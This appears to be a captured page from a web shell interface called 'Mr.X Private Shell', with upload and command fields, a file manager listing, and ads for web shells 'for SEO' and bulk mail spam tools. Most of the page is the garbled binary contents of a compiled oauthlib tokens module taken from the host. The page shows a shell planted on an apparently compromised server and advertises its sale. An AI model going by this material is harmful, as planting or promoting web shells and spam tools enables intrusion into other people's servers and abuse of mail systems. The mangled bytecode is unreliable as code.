__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

'�{gl+����SrSSKrSSKrSSKrSSKJr SSKJr SSKJ	r	 SSK
JrJr SSK
Jr "S	S
\5rSSjrSrSS
jrSSjrSSjrSrSr"SS5r"SS\5rg)z�
oauthlib.oauth2.rfc6749.tokens
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This module contains methods for adding two types of access tokens to requests.

- Bearer https://tools.ietf.org/html/rfc6750
- MAC https://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-01
�N)�
b2a_base64)�urlparse)�common)�add_params_to_qs�add_params_to_uri�)�utilsc�^�\rSrSrSU4Sjjr\S5r\S5r\S5r\S5r	\S5r
\S5r\S	5rS
r
U=r$)�OAuth2Token�c�P>�[TU]U5 SUlSU;a1US(a'[[R
"US55UlUbD[[R
"U55UlURcURUlggURUlg)N�scope)�super�__init__�
_new_scope�setr	�
scope_to_list�
_old_scope)�self�params�	old_scope�	__class__s   ��@/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/tokens.pyr�OAuth2Token.__init__s����
���� �����f�����!�%�"5�"5�f�W�o�"F�G�D�O�� �!�%�"5�"5�i�"@�A�D�O����&�#'�/�/���'�
#�o�o�D�O�c�4�URUR:g$�N�rr�rs r�
scope_changed�OAuth2Token.scope_changed&s�����$�/�/�1�1rc�B�[R"UR5$r)r	�
list_to_scoperrs rr�OAuth2Token.old_scope*����"�"�4�?�?�3�3rc�,�[UR5$r)�listrrs r�
old_scopes�OAuth2Token.old_scopes.����D�O�O�$�$rc�B�[R"UR5$r)r	r#rrs rr�OAuth2Token.scope2r%rc�,�[UR5$r)r'rrs r�scopes�OAuth2Token.scopes6r*rc�F�[URUR-
5$r)r'rrrs r�missing_scopes�OAuth2Token.missing_scopes:����D�O�O�d�o�o�5�6�6rc�F�[URUR-
5$r)r'rrrs r�additional_scopes�OAuth2Token.additional_scopes>r3rrr)�__name__�
__module__�__qualname__�__firstlineno__r�propertyr rr(rr.r1r5�__static_attributes__�
__classcell__)rs@rrrs����.��2��2��4��4��%��%��4��4��%��%��7��7��7��7rrc��UR5n[R"U5up�UR5S:Xa[R
n
O0UR5S:Xa[Rn
O[S5eU
S:XaCU=(d9 SR[R"U	5[R"55nO*[R"5n[R"5n[U5unnnnnnU(a	US-U-nOUnUbIU
S:XaCURS5n[U
"U5R!55SS	R#S5nOS
n/nU
S:XaUR%U5 O"UR%W5 UR%U5 UR%UR55 UR%U5 UR%U5 UR%U5 U
S:XaUR%U5 UR%U=(d S
5 SR'U5S-n[)U[*5(aURS5n[,R."UURS5U
5n[UR!55SS	R#S5n/nUR%SU-5 U
S:waUR%S
W-5 UR%SU-5 U(aUR%SU-5 U(aUR%SU-5 UR%SU-5 U=(d 0nSR'U5US'U$)a�Add an `MAC Access Authentication`_ signature to headers.

Unlike OAuth 1, this HMAC signature does not require inclusion of the
request payload/body, neither does it use a combination of client_secret
and token_secret but rather a mac_key provided together with the access
token.

Currently two algorithms are supported, "hmac-sha-1" and "hmac-sha-256",
`extension algorithms`_ are not supported.

Example MAC Authorization header, linebreaks added for clarity

Authorization: MAC id="h480djs93hd8",
                   nonce="1336363200:dj83hs9s",
                   mac="bhCQXTVyfj5cmA9uKkPFx1zeOXM="

.. _`MAC Access Authentication`: https://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-01
.. _`extension algorithms`: https://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-01#section-7.1

:param token:
:param uri: Request URI.
:param key: MAC given provided by token endpoint.
:param http_method: HTTP Request method.
:param nonce:
:param headers: Request headers as a dictionary.
:param body:
:param ext:
:param hash_algorithm: HMAC algorithm provided by token endpoint.
:param issue_time: Time when the MAC credentials were issued (datetime).
:param draft: MAC authentication specification version.
:return: headers dictionary with the authorization field added.
�
hmac-sha-1zhmac-sha-256zunknown hash algorithmrz{}:{}�?Nzutf-8�����
zMAC id="%s"zts="%s"z
nonce="%s"z
bodyhash="%s"zext="%s"zmac="%s"z, �
Authorization)�upperr	�
host_from_uri�lower�hashlib�sha1�sha256�
ValueError�format�generate_ager�generate_nonce�generate_timestampr�encoder�digest�decode�append�join�
isinstance�str�hmac�new)�token�uri�key�http_method�nonce�headers�body�ext�hash_algorithm�
issue_time�draft�host�port�h�ts�sch�net�path�par�query�fra�request_uri�bodyhash�base�base_string�sign�headers                           r�prepare_mac_headerrtCs���P�#�#�%�K��$�$�S�)�J�D������-��L�L��	�	�	�	�>�	1��N�N���1�2�2���z��C�����(:�(:�:�(F�*0�*?�*?�*A�C���
&�
&�
(���%�%�'��&.�s�m�#�C��d�C�����S�j�5�(������E�Q�J��{�{�7�#���a��g�n�n�.�/���4�;�;�G�D�����D���z����E�����B�����E���K�K��!�!�#�$��K�K����K�K����K�K�����z����H���K�K��	�r���)�)�D�/�D�(�K��#�s����j�j��!���8�8�C��+�+�G�4�a�8�D��d�k�k�m�$�S�b�)�0�0��9�D�
�F�
�M�M�-�%�'�(���z��
�
�i�"�n�%�
�M�M�,��&�'���
�
�o��0�1�
��
�
�j�3�&�'�
�M�M�*�t�#�$��m��G�#�y�y��0�G�O���Nrc� �[USU4/5$)aAdd a `Bearer Token`_ to the request URI.
Not recommended, use only if client can't use authorization header or body.

http://www.example.com/path?access_token=h480djs93hd8

.. _`Bearer Token`: https://tools.ietf.org/html/rfc6750

:param token:
:param uri:
�access_token)r)rYrZs  r�prepare_bearer_urirw�s���S�^�U�$;�"=�>�>rc�,�U=(d 0nSU-US'U$)z�Add a `Bearer Token`_ to the request URI.
Recommended method of passing bearer tokens.

Authorization: Bearer h480djs93hd8

.. _`Bearer Token`: https://tools.ietf.org/html/rfc6750

:param token:
:param headers:
z	Bearer %srD�)rYr^s  r�prepare_bearer_headersrz�s!���m��G�*�U�2�G�O���Nrc� �[USU4/5$)z�Add a `Bearer Token`_ to the request body.

access_token=h480djs93hd8

.. _`Bearer Token`: https://tools.ietf.org/html/rfc6750

:param token:
:param body:
rv)r)rYr_s  r�prepare_bearer_bodyr|�s���D�^�U�$;�"=�>�>rc�,�[R"5$)z`
:param request: OAuthlib request.
:type request: oauthlib.common.Request
:param refresh_token:
)r�generate_token)�request�
refresh_tokens  r�random_token_generatorr��s��� � �"�"rc�^^�UU4SjnU$)z
:param private_pem:
c�@>�TUl[R"TU5$r)�claimsr�generate_signed_token)r�kwargs�private_pems ��r�signed_token_generator�6signed_token_generator.<locals>.signed_token_generator�s�������+�+�K��A�Arry)r�r�r�s`` rr�r��s���B�"�!rc���SnSUR;aVURRS5R5n[U5S:XaUSR	5S:XaUSnU$UR
nU$)z�
Helper function to extract a token from the request header.

:param request: OAuthlib request.
:type request: oauthlib.common.Request
:return: Return the token or None if the Authorization header is malformed.
NrD�r�bearerr)r^�get�split�lenrGrv)rrY�split_headers   r�get_token_from_headerr��su��
�E��'�/�/�)����*�*�?�;�A�A�C���|���!�l�1�o�&;�&;�&=��&I� ��O�E��L��$�$���Lrc�.�\rSrSrSrSSjrSrSrSrg)�	TokenBaseiryc��[S5e)N�&Subclasses must implement this method.��NotImplementedError)rrr�s   r�__call__�TokenBase.__call__s��!�"J�K�Krc��[S5e��J
:param request: OAuthlib request.
:type request: oauthlib.common.Request
r�r��rrs  r�validate_request�TokenBase.validate_request	���
"�"J�K�Krc��[S5er�r�r�s  r�
estimate_type�TokenBase.estimate_typer�rN�F)	r7r8r9r:�	__slots__r�r�r�r<ryrrr�r�s���I�L�L�Lrr�c�<�\rSrSrSrS	SjrS
SjrSrSrSr	g)�BearerTokeni)�request_validator�token_generator�refresh_token_generator�
expires_inNc��XlU=(d [UlU=(d URUlU=(d SUlg)Ni)r�r�r�r�r�)rr�r�r�r�s     rr�BearerToken.__init__s:��!2��.�H�2H���#�;�t�';�';�	
�$�%�,���rc�V�SU;a"S[5 [UR5(aUR	U5nOURnXAlURU5USS.nURbSRUR5US'U(aUUR(a0URRU5(dURUS'OURU5US'URUR=(d 05 [U5$)z�
Create a BearerToken, by default without refresh token.

:param request: OAuthlib request.
:type request: oauthlib.common.Request
:param refresh_token:
�
save_tokenzx`save_token` has been deprecated, it was not called internally.If you do, call `request_validator.save_token()` instead.�Bearer)rvr��
token_type� rr�)�warnings�warn�DeprecationWarning�callabler�r�r.rTr�r��rotate_refresh_tokenr��update�extra_credentialsr)rrr�r�r�rYs      r�create_token�BearerToken.create_token's����6�!��M�M�V�,�
.��D�O�O�$�$�����1�J����J�'��!�0�0��9�$�"�
���>�>�%� �X�X�g�n�n�5�E�'�N���%�%��.�.�C�C�G�L�L�)0�)>�)>��o�&�)-�)E�)E�g�)N��o�&�
���W�.�.�4�"�5��5�!�!rc�d�[U5nURRX!RU5$)r�)r�r��validate_bearer_tokenr.)rrrYs   rr��BearerToken.validate_requestQs0��
&�g�.���%�%�;�;��>�>�7�,�	,rc��URRSS5RS5SR5S:XagURbgg)r�rDrBr�rr��	�)r^r�r�rGrvr�s  rr��BearerToken.estimate_typeZsK��
�?�?�����3�9�9�#�>�q�A�G�G�I�X�U��
�
!�
!�
-��r)r�r�r�r�)NNNNr�)
r7r8r9r:r�rr�r�r�r<ryrrr�r�s(���I�
@D�:>�-�("�T,�
rr�)NNNrBr?Nrr)rBr�)�__doc__rHrWr��binasciir�urllib.parser�oauthlibr�oauthlib.commonrrrBr	�dictrrtrwrzr|r�r�r�r�r�ryrr�<module>r�s��������!��?��*7�$�*7�\"�#� ��&2�"&��j�Z?�
� 
?�#�"��(L�L�*L�)�Lr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 699 B 0644
errors.cpython-313.pyc File 17.9 KB 0644
parameters.cpython-313.pyc File 18.7 KB 0644
request_validator.cpython-313.pyc File 26.52 KB 0644
tokens.cpython-313.pyc File 13.91 KB 0644
utils.cpython-313.pyc File 3.75 KB 0644
Filemanager